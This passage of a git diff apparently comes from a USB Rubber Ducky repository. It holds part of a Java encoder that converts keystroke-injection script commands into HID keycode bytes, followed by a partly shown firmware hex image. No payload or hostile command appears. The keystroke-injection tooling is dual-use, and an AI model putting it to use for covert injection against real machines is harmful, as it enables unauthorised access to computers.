file.add((byte) 0x00); + } else if (instruction[0].equals("SPACE")) { + file.add((byte) 0x2C); + file.add((byte) 0x00); + } else if (instruction[0].equals("WINDOWS") + || instruction[0].equals("GUI")) { + if (instruction.length == 1) { + file.add((byte) 0xE3); + file.add((byte) 0x00); + } else { + file.add(charToByte(instruction[1].charAt(0))); + file.add((byte) 0x08); + } + } else if (instruction[0].equals("SYSTEMPOWER")) { + file.add((byte) 0x81); + file.add((byte) 0x00); + } else if (instruction[0].equals("SYSTEMSLEEP")) { + file.add((byte) 0x82); + file.add((byte) 0x00); + } else if (instruction[0].equals("SYSTEMWAKE")) { + file.add((byte) 0x83); + file.add((byte) 0x00); + } else if (instruction[0].equals("ESCAPE") + || instruction[0].equals("ESC")) { + file.add((byte) 0x29); + file.add((byte) 0x00); + } else if (instruction[0].equals("CAPSLOCK")) { + file.add((byte) 0x39); + file.add((byte) 0x00); + } else if (instruction[0].equals("PRINTSCREEN")) { + file.add((byte) 0x46); + file.add((byte) 0x00); + } else if (instruction[0].equals("SCROLLLOCK")) { + file.add((byte) 0x47); + file.add((byte) 0x00); + } else if (instruction[0].equals("BREAK") + || instruction[0].equals("PAUSE")) { + file.add((byte) 0x48); + file.add((byte) 0x00); + } else if (instruction[0].equals("INSERT")) { + file.add((byte) 0x49); + file.add((byte) 0x00); + } else if (instruction[0].equals("HOME")) { + file.add((byte) 0x4A); + file.add((byte) 0x00); + } else if (instruction[0].equals("END")) { + file.add((byte) 0x4D); + file.add((byte) 0x00); + } else if (instruction[0].equals("PAGEUP")) { + file.add((byte) 0x4B); + file.add((byte) 0x00); + } else if (instruction[0].equals("DELETE")) { + file.add((byte) 0x4C); + file.add((byte) 0x00); + } else if (instruction[0].equals("PAGEDOWN")) { + file.add((byte) 0x4E); + file.add((byte) 0x00); + } else if (instruction[0].equals("RIGHTARROW") + || instruction[0].equals("RIGHT")) { + file.add((byte) 0x4F); + file.add((byte) 0x00); + } else if (instruction[0].equals("LEFTARROW") + || instruction[0].equals("LEFT")) { + file.add((byte) 0x50); + file.add((byte) 0x00); + } else if (instruction[0].equals("DOWNARROW") + || instruction[0].equals("DOWN")) { + file.add((byte) 0x51); + file.add((byte) 0x00); + } else if (instruction[0].equals("UPARROW") + || instruction[0].equals("UP")) { + file.add((byte) 0x52); + file.add((byte) 0x00); + } else if (instruction[0].equals("NUMLOCK")) { + file.add((byte) 0x53); + file.add((byte) 0x00); + } else if (instruction[0].equals("STOP")) { + file.add((byte) 0xb5); + file.add((byte) 0x00); + } else if (instruction[0].equals("PLAY") + || instruction[0].equals("PAUSE")) { + file.add((byte) 0xCD); + file.add((byte) 0x00); + } else if (instruction[0].equals("MUTE")) { + file.add((byte) 0xE2); + file.add((byte) 0x00); + } else if (instruction[0].equals("VOLUMEUP")) { + file.add((byte) 0xE9); + file.add((byte) 0x00); + } else if (instruction[0].equals("VOLUMEDOWN")) { + file.add((byte) 0xEA); + file.add((byte) 0x00); + } else if (functionKeyCheck(instruction[0])) { + // Function keys + file.add(functionKeyToByte(instruction[0])); + file.add((byte) 0x00); + } else { + // System.out.print(instruction[0]); + throw new Exception(); + } + + // Default delay + if (!delayOverride & defaultDelay != 0x00) { + while (defaultDelay > 0) { + file.add((byte) 0x00); + if (defaultDelay > 255) { + file.add((byte) 0xFF); + defaultDelay = defaultDelay - 255; + } else { + file.add((byte) defaultDelay); + defaultDelay = 0; + } + } + } + } catch (Exception e) { + System.out.println("Error on Line: " + (i + 1)); + // e.printStackTrace(); + } + } + + // Write byte array to file + byte[] data = new byte[file.size()]; + for (int i = 0; i < file.size(); i++) { + data[i] = file.get(i); + } + try { + File someFile = new File(fileDest); + FileOutputStream fos = new FileOutputStream(someFile); + fos.write(data); + fos.flush(); + fos.close(); + } catch (Exception e) { + System.out.print("Failed to write hex file!"); + } + } + + private static byte charToByte(char c) { + // System.out.println(c); + if ((int) c >= 97 && (int) c <= 122) + // lower case letters + return (byte) (c - 0x5D); + else if ((int) c >= 65 && (int) c <= 90) + // upper case letters + return (byte) (c - 0x3D); + else if ((int) c >= 49 && (int) c <= 57) + // 0 to 9 + return (byte) (c - 0x13); + else + switch (c) { + case ' ': + return 0x2C; + case '!': + return 0x1e; + case '@': + return 0x1f; + case '#': + return 0x20; + case '$': + return 0x21; + case '%': + return 0x22; + case '^': + return 0x23; + case '&': + return 0x24; + case '*': + return 0x25; + case '(': + return 0x26; + case ')': + case '0': + return 0x27; + case '-': + case '_': + return 0x2D; + case '=': + case '+': + return 0x2E; + case '[': + case '{': + return 0x2F; + case ']': + case '}': + return 0x30; + case '\\': + case '|': + return 0x31; + case ':': + case ';': + return 0x33; + case '\'': + case '"': + return 0x34; + case '`': + case '~': + return 0x35; + case ',': + case '<': + return 0x36; + case '.': + case '>': + return 0x37; + case '/': + case '?': + return 0x38; + } + + return (byte) 0x99; + } + + private static boolean functionKeyCheck(String possibleFKey) { + if (possibleFKey.equals("F1") || possibleFKey.equals("F2") + || possibleFKey.equals("F3") || possibleFKey.equals("F4") + || possibleFKey.equals("F5") || possibleFKey.equals("F6") + || possibleFKey.equals("F7") || possibleFKey.equals("F8") + || possibleFKey.equals("F9") || possibleFKey.equals("F10") + || possibleFKey.equals("F11") || possibleFKey.equals("F12")) { + return true; + } else + return false; + } + + private static byte functionKeyToByte(String fKey) { + if (fKey.equals("F1")) + return (byte) 0x3a; + else if (fKey.equals("F2")) + return (byte) 0x3b; + else if (fKey.equals("F3")) + return (byte) 0x3c; + else if (fKey.equals("F4")) + return (byte) 0x3d; + else if (fKey.equals("F5")) + return (byte) 0x3e; + else if (fKey.equals("F6")) + return (byte) 0x3f; + else if (fKey.equals("F7")) + return (byte) 0x40; + else if (fKey.equals("F8")) + return (byte) 0x41; + else if (fKey.equals("F9")) + return (byte) 0x42; + else if (fKey.equals("F10")) + return (byte) 0x43; + else if (fKey.equals("F11")) + return (byte) 0x44; + else if (fKey.equals("F12")) + return (byte) 0x45; + else + return (byte) 0x99; + } +} \ No newline at end of file diff --git a/Rubber_Duck/HAK/Firmware/Images/duck.hex b/Rubber_Duck/HAK/Firmware/Images/duck.hex new file mode 100755 index 0000000..488926e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Images/duck.hex @@ -0,0 +1,1874 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 +:1000100000000000000000000000000000000000E0 +:1000200000000000000000000000000000000000D0 +:1000300000000000000000000000000000000000C0 +:1000400000000000000000000000000000000000B0 +:1000500000000000000000000000000000000000A0 +:100060000000000000000000000000000000000090 +:100070000000000000000000000000000000000080 +:100080000000000000000000000000000000000070 +:100090000000000000000000000000000000000060 +:1000A0000000000000000000000000000000000050 +:1000B0000000000000000000000000000000000040 +:1000C0000000000000000000000000000000000030 +:1000D0000000000000000000000000000000000020 +:1000E0000000000000000000000000000000000010 +:1000F0000000000000000000000000000000000000 +:1001000000000000000000000000000000000000EF +:1001100000000000000000000000000000000000DF +:1001200000000000000000000000000000000000CF +:1001300000000000000000000000000000000000BF +:1001400000000000000000000000000000000000AF +:10015000000000000000000000000000000000009F +:10016000000000000000000000000000000000008F +:10017000000000000000000000000000000000007F +:10018000000000000000000000000000000000006F +:10019000000000000000000000000000000000005F +:1001A000000000000000000000000000000000004F +:1001B000000000000000000000000000000000003F +:1001C000000000000000000000000000000000002F +:1001D000000000000000000000000000000000001F +:1001E000000000000000000000000000000000000F +:1001F00000000000000000000000000000000000FF +:1002000000000000000000000000000000000000EE +:1002100000000000000000000000000000000000DE +:1002200000000000000000000000000000000000CE +:1002300000000000000000000000000000000000BE +:1002400000000000000000000000000000000000AE +:10025000000000000000000000000000000000009E +:10026000000000000000000000000000000000008E +:10027000000000000000000000000000000000007E +:10028000000000000000000000000000000000006E +:10029000000000000000000000000000000000005E +:1002A000000000000000000000000000000000004E +:1002B000000000000000000000000000000000003E +:1002C000000000000000000000000000000000002E +:1002D000000000000000000000000000000000001E +:1002E000000000000000000000000000000000000E +:1002F00000000000000000000000000000000000FE +:1003000000000000000000000000000000000000ED +:1003100000000000000000000000000000000000DD +:1003200000000000000000000000000000000000CD +:1003300000000000000000000000000000000000BD +:1003400000000000000000000000000000000000AD +:10035000000000000000000000000000000000009D +:10036000000000000000000000000000000000008D +:10037000000000000000000000000000000000007D +:10038000000000000000000000000000000000006D +:10039000000000000000000000000000000000005D +:1003A000000000000000000000000000000000004D +:1003B000000000000000000000000000000000003D +:1003C000000000000000000000000000000000002D +:1003D000000000000000000000000000000000001D +:1003E000000000000000000000000000000000000D +:1003F00000000000000000000000000000000000FD +:1004000000000000000000000000000000000000EC +:1004100000000000000000000000000000000000DC +:1004200000000000000000000000000000000000CC +:1004300000000000000000000000000000000000BC +:1004400000000000000000000000000000000000AC +:10045000000000000000000000000000000000009C +:10046000000000000000000000000000000000008C +:10047000000000000000000000000000000000007C +:10048000000000000000000000000000000000006C +:10049000000000000000000000000000000000005C +:1004A000000000000000000000000000000000004C +:1004B000000000000000000000000000000000003C +:1004C000000000000000000000000000000000002C +:1004D000000000000000000000000000000000001C +:1004E000000000000000000000000000000000000C +:1004F00000000000000000000000000000000000FC +:1005000000000000000000000000000000000000EB +:1005100000000000000000000000000000000000DB +:1005200000000000000000000000000000000000CB +:1005300000000000000000000000000000000000BB +:1005400000000000000000000000000000000000AB +:10055000000000000000000000000000000000009B +:10056000000000000000000000000000000000008B +:10057000000000000000000000000000000000007B +:10058000000000000000000000000000000000006B +:10059000000000000000000000000000000000005B +:1005A000000000000000000000000000000000004B +:1005B000000000000000000000000000000000003B +:1005C000000000000000000000000000000000002B +:1005D000000000000000000000000000000000001B +:1005E000000000000000000000000000000000000B +:1005F00000000000000000000000000000000000FB +:1006000000000000000000000000000000000000EA +:1006100000000000000000000000000000000000DA +:1006200000000000000000000000000000000000CA +:1006300000000000000000000000000000000000BA +:1006400000000000000000000000000000000000AA +:10065000000000000000000000000000000000009A +:10066000000000000000000000000000000000008A +:10067000000000000000000000000000000000007A +:10068000000000000000000000000000000000006A +:10069000000000000000000000000000000000005A +:1006A000000000000000000000000000000000004A +:1006B000000000000000000000000000000000003A +:1006C000000000000000000000000000000000002A +:1006D000000000000000000000000000000000001A +:1006E000000000000000000000000000000000000A +:1006F00000000000000000000000000000000000FA +:1007000000000000000000000000000000000000E9 +:1007100000000000000000000000000000000000D9 +:1007200000000000000000000000000000000000C9 +:1007300000000000000000000000000000000000B9 +:1007400000000000000000000000000000000000A9 +:100750000000000000000000000000000000000099 +:100760000000000000000000000000000000000089 +:100770000000000000000000000000000000000079 +:100780000000000000000000000000000000000069 +:100790000000000000000000000000000000000059 +:1007A0000000000000000000000000000000000049 +:1007B0000000000000000000000000000000000039 +:1007C0000000000000000000000000000000000029 +:1007D0000000000000000000000000000000000019 +:1007E0000000000000000000000000000000000009 +:1007F00000000000000000000000000000000000F9 +:1008000000000000000000000000000000000000E8 +:1008100000000000000000000000000000000000D8 +:1008200000000000000000000000000000000000C8 +:1008300000000000000000000000000000000000B8 +:1008400000000000000000000000000000000000A8 +:100850000000000000000000000000000000000098 +:100860000000000000000000000000000000000088 +:100870000000000000000000000000000000000078 +:100880000000000000000000000000000000000068 +:100890000000000000000000000000000000000058 +:1008A0000000000000000000000000000000000048 +:1008B0000000000000000000000000000000000038 +:1008C0000000000000000000000000000000000028 +:1008D0000000000000000000000000000000000018 +:1008E0000000000000000000000000000000000008 +:1008F00000000000000000000000000000000000F8 +:1009000000000000000000000000000000000000E7 +:1009100000000000000000000000000000000000D7 +:1009200000000000000000000000000000000000C7 +:1009300000000000000000000000000000000000B7 +:1009400000000000000000000000000000000000A7 +:100950000000000000000000000000000000000097 +:100960000000000000000000000000000000000087 +:100970000000000000000000000000000000000077 +:100980000000000000000000000000000000000067 +:100990000000000000000000000000000000000057 +:1009A0000000000000000000000000000000000047 +:1009B0000000000000000000000000000000000037 +:1009C0000000000000000000000000000000000027 +:1009D0000000000000000000000000000000000017 +:1009E0000000000000000000000000000000000007 +:1009F00000000000000000000000000000000000F7 +:100A000000000000000000000000000000000000E6 +:100A100000000000000000000000000000000000D6 +:100A200000000000000000000000000000000000C6 +:100A300000000000000000000000000000000000B6 +:100A400000000000000000000000000000000000A6 +:100A50000000000000000000000000000000000096 +:100A60000000000000000000000000000000000086 +:100A70000000000000000000000000000000000076 +:100A80000000000000000000000000000000000066 +:100A90000000000000000000000000000000000056 +:100AA0000000000000000000000000000000000046 +:100AB0000000000000000000000000000000000036 +:100AC0000000000000000000000000000000000026 +:100AD0000000000000000000000000000000000016 +:100AE0000000000000000000000000000000000006 +:100AF00000000000000000000000000000000000F6 +:100B000000000000000000000000000000000000E5 +:100B100000000000000000000000000000000000D5 +:100B200000000000000000000000000000000000C5 +:100B300000000000000000000000000000000000B5 +:100B400000000000000000000000000000000000A5 +:100B50000000000000000000000000000000000095 +:100B60000000000000000000000000000000000085 +:100B70000000000000000000000000000000000075 +:100B80000000000000000000000000000000000065 +:100B90000000000000000000000000000000000055 +:100BA0000000000000000000000000000000000045 +:100BB0000000000000000000000000000000000035 +:100BC0000000000000000000000000000000000025 +:100BD0000000000000000000000000000000000015 +:100BE0000000000000000000000000000000000005 +:100BF00000000000000000000000000000000000F5 +:100C000000000000000000000000000000000000E4 +:100C100000000000000000000000000000000000D4 +:100C200000000000000000000000000000000000C4 +:100C300000000000000000000000000000000000B4 +:100C400000000000000000000000000000000000A4 +:100C50000000000000000000000000000000000094 +:100C60000000000000000000000000000000000084 +:100C70000000000000000000000000000000000074 +:100C80000000000000000000000000000000000064 +:100C90000000000000000000000000000000000054 +:100CA0000000000000000000000000000000000044 +:100CB0000000000000000000000000000000000034 +:100CC0000000000000000000000000000000000024 +:100CD0000000000000000000000000000000000014 +:100CE0000000000000000000000000000000000004 +:100CF00000000000000000000000000000000000F4 +:100D000000000000000000000000000000000000E3 +:100D100000000000000000000000000000000000D3 +:100D200000000000000000000000000000000000C3 +:100D300000000000000000000000000000000000B3 +:100D400000000000000000000000000000000000A3 +:100D50000000000000000000000000000000000093 +:100D60000000000000000000000000000000000083 +:100D70000000000000000000000000000000000073 +:100D80000000000000000000000000000000000063 +:100D90000000000000000000000000000000000053 +:100DA0000000000000000000000000000000000043 +:100DB0000000000000000000000000000000000033 +:100DC0000000000000000000000000000000000023 +:100DD0000000000000000000000000000000000013 +:100DE0000000000000000000000000000000000003 +:100DF00000000000000000000000000000000000F3 +:100E000000000000000000000000000000000000E2 +:100E100000000000000000000000000000000000D2 +:100E200000000000000000000000000000000000C2 +:100E300000000000000000000000000000000000B2 +:100E400000000000000000000000000000000000A2 +:100E50000000000000000000000000000000000092 +:100E60000000000000000000000000000000000082 +:100E70000000000000000000000000000000000072 +:100E80000000000000000000000000000000000062 +:100E90000000000000000000000000000000000052 +:100EA0000000000000000000000000000000000042 +:100EB0000000000000000000000000000000000032 +:100EC0000000000000000000000000000000000022 +:100ED0000000000000000000000000000000000012 +:100EE0000000000000000000000000000000000002 +:100EF00000000000000000000000000000000000F2 +:100F000000000000000000000000000000000000E1 +:100F100000000000000000000000000000000000D1 +:100F200000000000000000000000000000000000C1 +:100F300000000000000000000000000000000000B1 +:100F400000000000000000000000000000000000A1 +:100F50000000000000000000000000000000000091 +:100F60000000000000000000000000000000000081 +:100F70000000000000000000000000000000000071 +:100F80000000000000000000000000000000000061 +:100F90000000000000000000000000000000000051 +:100FA0000000000000000000000000000000000041 +:100FB0000000000000000000000000000000000031 +:100FC0000000000000000000000000000000000021 +:100FD0000000000000000000000000000000000011 +:100FE0000000000000000000000000000000000001 +:100FF00000000000000000000000000000000000F1 +:1010000000000000000000000000000000000000E0 +:1010100000000000000000000000000000000000D0 +:1010200000000000000000000000000000000000C0 +:1010300000000000000000000000000000000000B0 +:1010400000000000000000000000000000000000A0 +:101050000000000000000000000000000000000090 +:101060000000000000000000000000000000000080 +:101070000000000000000000000000000000000070 +:101080000000000000000000000000000000000060 +:101090000000000000000000000000000000000050 +:1010A0000000000000000000000000000000000040 +:1010B0000000000000000000000000000000000030 +:1010C0000000000000000000000000000000000020 +:1010D0000000000000000000000000000000000010 +:1010E0000000000000000000000000000000000000 +:1010F00000000000000000000000000000000000F0 +:1011000000000000000000000000000000000000DF +:1011100000000000000000000000000000000000CF +:1011200000000000000000000000000000000000BF +:1011300000000000000000000000000000000000AF +:10114000000000000000000000000000000000009F +:10115000000000000000000000000000000000008F +:10116000000000000000000000000000000000007F +:10117000000000000000000000000000000000006F +:10118000000000000000000000000000000000005F +:10119000000000000000000000000000000000004F +:1011A000000000000000000000000000000000003F +:1011B000000000000000000000000000000000002F +:1011C000000000000000000000000000000000001F +:1011D000000000000000000000000000000000000F +:1011E00000000000000000000000000000000000FF +:1011F00000000000000000000000000000000000EF +:1012000000000000000000000000000000000000DE +:1012100000000000000000000000000000000000CE +:1012200000000000000000000000000000000000BE +:1012300000000000000000000000000000000000AE +:10124000000000000000000000000000000000009E +:10125000000000000000000000000000000000008E +:10126000000000000000000000000000000000007E +:10127000000000000000000000000000000000006E +:10128000000000000000000000000000000000005E +:10129000000000000000000000000000000000004E +:1012A000000000000000000000000000000000003E +:1012B000000000000000000000000000000000002E +:1012C000000000000000000000000000000000001E +:1012D000000000000000000000000000000000000E +:1012E00000000000000000000000000000000000FE +:1012F00000000000000000000000000000000000EE +:1013000000000000000000000000000000000000DD +:1013100000000000000000000000000000000000CD +:1013200000000000000000000000000000000000BD +:1013300000000000000000000000000000000000AD +:10134000000000000000000000000000000000009D +:10135000000000000000000000000000000000008D +:10136000000000000000000000000000000000007D +:10137000000000000000000000000000000000006D +:10138000000000000000000000000000000000005D +:10139000000000000000000000000000000000004D +:1013A000000000000000000000000000000000003D +:1013B000000000000000000000000000000000002D +:1013C000000000000000000000000000000000001D +:1013D000000000000000000000000000000000000D +:1013E00000000000000000000000000000000000FD +:1013F00000000000000000000000000000000000ED +:1014000000000000000000000000000000000000DC +:1014100000000000000000000000000000000000CC +:1014200000000000000000000000000000000000BC +:1014300000000000000000000000000000000000AC +:10144000000000000000000000000000000000009C +:10145000000000000000000000000000000000008C +:10146000000000000000000000000000000000007C +:10147000000000000000000000000000000000006C +:10148000000000000000000000000000000000005C +:10149000000000000000000000000000000000004C +:1014A000000000000000000000000000000000003C +:1014B000000000000000000000000000000000002C +:1014C000000000000000000000000000000000001C +:1014D000000000000000000000000000000000000C +:1014E00000000000000000000000000000000000FC +:1014F00000000000000000000000000000000000EC +:1015000000000000000000000000000000000000DB +:1015100000000000000000000000000000000000CB +:1015200000000000000000000000000000000000BB +:1015300000000000000000000000000000000000AB +:10154000000000000000000000000000000000009B +:10155000000000000000000000000000000000008B +:10156000000000000000000000000000000000007B +:10157000000000000000000000000000000000006B +:10158000000000000000000000000000000000005B +:10159000000000000000000000000000000000004B +:1015A000000000000000000000000000000000003B +:1015B000000000000000000000000000000000002B +:1015C000000000000000000000000000000000001B +:1015D000000000000000000000000000000000000B +:1015E00000000000000000000000000000000000FB +:1015F00000000000000000000000000000000000EB +:1016000000000000000000000000000000000000DA +:1016100000000000000000000000000000000000CA +:1016200000000000000000000000000000000000BA +:1016300000000000000000000000000000000000AA +:10164000000000000000000000000000000000009A +:10165000000000000000000000000000000000008A +:10166000000000000000000000000000000000007A +:10167000000000000000000000000000000000006A +:10168000000000000000000000000000000000005A +:10169000000000000000000000000000000000004A +:1016A000000000000000000000000000000000003A +:1016B000000000000000000000000000000000002A +:1016C000000000000000000000000000000000001A +:1016D000000000000000000000000000000000000A +:1016E00000000000000000000000000000000000FA +:1016F00000000000000000000000000000000000EA +:1017000000000000000000000000000000000000D9 +:1017100000000000000000000000000000000000C9 +:1017200000000000000000000000000000000000B9 +:1017300000000000000000000000000000000000A9 +:101740000000000000000000000000000000000099 +:101750000000000000000000000000000000000089 +:101760000000000000000000000000000000000079 +:101770000000000000000000000000000000000069 +:101780000000000000000000000000000000000059 +:101790000000000000000000000000000000000049 +:1017A0000000000000000000000000000000000039 +:1017B0000000000000000000000000000000000029 +:1017C0000000000000000000000000000000000019 +:1017D0000000000000000000000000000000000009 +:1017E00000000000000000000000000000000000F9 +:1017F00000000000000000000000000000000000E9 +:1018000000000000000000000000000000000000D8 +:1018100000000000000000000000000000000000C8 +:1018200000000000000000000000000000000000B8 +:1018300000000000000000000000000000000000A8 +:101840000000000000000000000000000000000098 +:101850000000000000000000000000000000000088 +:101860000000000000000000000000000000000078 +:101870000000000000000000000000000000000068 +:101880000000000000000000000000000000000058 +:101890000000000000000000000000000000000048 +:1018A0000000000000000000000000000000000038 +:1018B0000000000000000000000000000000000028 +:1018C0000000000000000000000000000000000018 +:1018D0000000000000000000000000000000000008 +:1018E00000000000000000000000000000000000F8 +:1018F00000000000000000000000000000000000E8 +:1019000000000000000000000000000000000000D7 +:1019100000000000000000000000000000000000C7 +:1019200000000000000000000000000000000000B7 +:1019300000000000000000000000000000000000A7 +:101940000000000000000000000000000000000097 +:101950000000000000000000000000000000000087 +:101960000000000000000000000000000000000077 +:101970000000000000000000000000000000000067 +:101980000000000000000000000000000000000057 +:101990000000000000000000000000000000000047 +:1019A0000000000000000000000000000000000037 +:1019B0000000000000000000000000000000000027 +:1019C0000000000000000000000000000000000017 +:1019D0000000000000000000000000000000000007 +:1019E00000000000000000000000000000000000F7 +:1019F00000000000000000000000000000000000E7 +:101A000000000000000000000000000000000000D6 +:101A100000000000000000000000000000000000C6 +:101A200000000000000000000000000000000000B6 +:101A300000000000000000000000000000000000A6 +:101A40000000000000000000000000000000000096 +:101A50000000000000000000000000000000000086 +:101A60000000000000000000000000000000000076 +:101A70000000000000000000000000000000000066 +:101A80000000000000000000000000000000000056 +:101A90000000000000000000000000000000000046 +:101AA0000000000000000000000000000000000036 +:101AB0000000000000000000000000000000000026 +:101AC0000000000000000000000000000000000016 +:101AD0000000000000000000000000000000000006 +:101AE00000000000000000000000000000000000F6 +:101AF00000000000000000000000000000000000E6 +:101B000000000000000000000000000000000000D5 +:101B100000000000000000000000000000000000C5 +:101B200000000000000000000000000000000000B5 +:101B300000000000000000000000000000000000A5 +:101B40000000000000000000000000000000000095 +:101B50000000000000000000000000000000000085 +:101B60000000000000000000000000000000000075 +:101B70000000000000000000000000000000000065 +:101B80000000000000000000000000000000000055 +:101B90000000000000000000000000000000000045 +:101BA0000000000000000000000000000000000035 +:101BB0000000000000000000000000000000000025 +:101BC0000000000000000000000000000000000015 +:101BD0000000000000000000000000000000000005 +:101BE00000000000000000000000000000000000F5 +:101BF00000000000000000000000000000000000E5 +:101C000000000000000000000000000000000000D4 +:101C100000000000000000000000000000000000C4 +:101C200000000000000000000000000000000000B4 +:101C300000000000000000000000000000000000A4 +:101C40000000000000000000000000000000000094 +:101C50000000000000000000000000000000000084 +:101C60000000000000000000000000000000000074 +:101C70000000000000000000000000000000000064 +:101C80000000000000000000000000000000000054 +:101C90000000000000000000000000000000000044 +:101CA0000000000000000000000000000000000034 +:101CB0000000000000000000000000000000000024 +:101CC0000000000000000000000000000000000014 +:101CD0000000000000000000000000000000000004 +:101CE00000000000000000000000000000000000F4 +:101CF00000000000000000000000000000000000E4 +:101D000000000000000000000000000000000000D3 +:101D100000000000000000000000000000000000C3 +:101D200000000000000000000000000000000000B3 +:101D300000000000000000000000000000000000A3 +:101D40000000000000000000000000000000000093 +:101D50000000000000000000000000000000000083 +:101D60000000000000000000000000000000000073 +:101D70000000000000000000000000000000000063 +:101D80000000000000000000000000000000000053 +:101D90000000000000000000000000000000000043 +:101DA0000000000000000000000000000000000033 +:101DB0000000000000000000000000000000000023 +:101DC0000000000000000000000000000000000013 +:101DD0000000000000000000000000000000000003 +:101DE00000000000000000000000000000000000F3 +:101DF00000000000000000000000000000000000E3 +:101E000000000000000000000000000000000000D2 +:101E100000000000000000000000000000000000C2 +:101E200000000000000000000000000000000000B2 +:101E300000000000000000000000000000000000A2 +:101E40000000000000000000000000000000000092 +:101E50000000000000000000000000000000000082 +:101E60000000000000000000000000000000000072 +:101E70000000000000000000000000000000000062 +:101E80000000000000000000000000000000000052 +:101E90000000000000000000000000000000000042 +:101EA0000000000000000000000000000000000032 +:101EB0000000000000000000000000000000000022 +:101EC0000000000000000000000000000000000012 +:101ED0000000000000000000000000000000000002 +:101EE00000000000000000000000000000000000F2 +:101EF00000000000000000000000000000000000E2 +:101F000000000000000000000000000000000000D1 +:101F100000000000000000000000000000000000C1 +:101F200000000000000000000000000000000000B1 +:101F300000000000000000000000000000000000A1 +:101F40000000000000000000000000000000000091 +:101F50000000000000000000000000000000000081 +:101F60000000000000000000000000000000000071 +:101F70000000000000000000000000000000000061 +:101F80000000000000000000000000000000000051 +:101F90000000000000000000000000000000000041 +:101FA0000000000000000000000000000000000031 +:101FB0000000000000000000000000000000000021 +:101FC0000000000000000000000000000000000011 +:101FD0000000000000000000000000000000000001 +:101FE00000000000000000000000000000000000F1 +:101FF00000000000000000000000000000000000E1 +:04200000FECFBF4010 +:10200400D401303B307CE0A0060B303B308CE0A0A8 +:102014000607303B315CE0A00603303B316CE0A0A6 +:1020240005FF300B322CE0A005FB300B323CE0A066 +:1020340005F7300B30DCE0A005F3300B326CE0A088 +:1020440005EF300B327CE0A005EB300B328CE0A0C6 +:1020540005E7D802D4314A38F9DCC0042108FE7EF1 +:1020640030003014E06500FFC38818975C97EE07D2 +:1020740012002FF7EE091504120870295809C2B589 +:102084007C36E809094AA579F5E60006E029CE0080 +:102094005806C06193069325931B9D1AC0787C76DD +:1020A4007C76F5E60006CFD0934B70097036A969AB +:1020B400701AE029F000E7D6C001C030935AC02856 +:1020C400936AE2160002701AC030939AC02893AA49 +:1020D400701A932AF8070A4C580CCC81D832D703CB +:1020E400800072004918F9DCC004700A4909F9EA51 +:1020F400100A2109910AC0D87208721AA968E02846 +:10210400F000F14A0058F14A0044911AF80B0A4CC5 +:10211400189B5C9BF60B12002FFBF60815041009A4 +:10212400580CCEB15EFCD70300000008800072009A +:102134004928F9DCC0047009F80A11FFF5E900091F +:10214400910948F92109C0D87208721AA968E028CF +:10215400F000F14A0054F14A0044911AF80B0A4C79 +:10216400189B5C9BF60B12002FFBF6081504100954 +:10217400580CCEB15EFCD70300000008800072004A +:10218400D4214B794B78138E11DAF1350008F137ED +:10219400000911F64B4C4B5B4B593034E80E1800D8 +:1021A400C161EFE51087EDD6C006EFE611072FF702 +:1021B400EE0815139908EFD7C1A9B6077808960A4F +:1021C400A998B77A201814089308C378A78511E44E +:1021D400EA060026EFD7C002E9D4C002F138000AAB +:1021E400AB64F00516070806EA0700172FF62FE779 +:1021F400EC07094720179307F5DAC00472072FF795 +:10220400EE0A09479907300CB60C309BF60A180001 +:10221400E0880007720B209AF60A094A930A580EBE +:10222400C0C1F5D8C00248F9F1D8C045F339000B54 +:10223400A599F3EA1039C0C848A9F33A000BF3385A +:10224400000AA79AF1D8C0063009F40800182FF93B +:102254002FF8488AF2080248B408D8220000043251 +:102264000000043400000424000004280000042CAE +:102274000000042A5EFCD703D401201D189BFE7CB9 +:102284002400E0A0065CFACBFFFEFE7C2400E0A064 +:102294000664581CC041E06C00FFC0281BBC2FFD25 +:1022A400D802D703D421301BFE7C240048F5E0A0DB +:1022B40005B63FF63007C0B82FF7E2570D40C0719E +:1022C400301BFE7C2400E0A005D2D82AE06C00FF7D +:1022D400CD4FAA8CEC0C1800CF01301BFE7C2400DF +:1022E400E0A005C5DA2AD70300000444D401483825 +:1022F400A97C910CCD8FD80200000110D401CD3FF0 +:102304005F1CD802D4014838A97C910CCCCFD802E8 +:1023140000000110D42116971896E06B00FFFE7C94 +:102324002400E0A0060CFE7C24000C9BA7AB5C5BA5 +:10233400E0A00605EE0B1618FE7C2400E0A005FFC5 +:10234400EE0B1610FE7C2400E0A005F9F7D7C110AF +:10235400FE7C2400E0A005F30E9BFE7C24005C7B45 +:10236400E0A005ED3008F0061800C0603088F006E3 +:102374001800C081C048E06B0095C068E06B00871E +:10238400C038E06B00FFFE7C2400E0A005D848B80C +:102394003FF51094B085300730B6C0682FF75C570E +:1023A400EC071800C080E06C00FFC67FA88CEA0C24 +:1023B4001800CF50D822D70300000444D421189722 +:1023C4001696FE7C2400301BE0A005290C9B0E9C75 +:1023D400CA2F301B4847AE8CFE7C2400E0A0054782 +:1023E4000F8CD82200000444D421495730060F88AA +:1023F400EC081800C19130074924301530B6C0C824 +:10240400E06B00FFFE7C2400E0A005992FF75C87B9 +:10241400EC071900C110300B169CCD1FA88CEA0CD8 +:102424001800CEF1C0A8300B33BCCC9F4858B08CF8 +:10243400580CC030AE86D82ADA2AD7030000012807 +:1024440000000444D4211897C2EFC780301BFE7CDF +:102454002400E0A004E44BA84BA6118A30394BA811 +:10246400F20A1800C041700BA99BC028700B318C74 +:10247400C52F4B48AC8C11893008F0091800C37182 +:10248400E06B00FFFE7C2400E0A00559E06B00FE39 +:10249400FE7C2400EEC6FE00E0A005510F3BFE7C4E +:1024A4002400E0A0054C0C37CFA1E06B00FFFE7CBC +:1024B4002400E0A00544E06B00FFFE7C2400E0A0C3 +:1024C400053EE06C00FFCD9E49E8B08CF9DCC00508 +:1024D400585CC130E06B00FFFE7C2400E0A0052FB7 +:1024E400E06B00FFFE7C2400E0A00529301BFE7C8D +:1024F4002400E0A004BCD82AE06B00FFFE7C24008A +:10250400E0A0051DE06B00FFFE7C2400E0A00517A1 +:10251400301BFE7C2400E0A004AA48B830077009F0 +:1025240030A6F2C9FE009109C0682FF75C87EC075A +:102534001900C040CB8ECFA0DA2AD82A000004327A +:102544000000044400000110D421CADEC110301B75 +:10255400FE7C2400E0A00463300B492733ACCDBEDD +:10256400AE8CC070301BFE7C2400E0A00480DC2A0A +:10257400E06C00FFC82E1896E06C00FFC7EEAE8C2E +:10258400E06C00FFC7AEAE8CE06C00FFC76E301B82 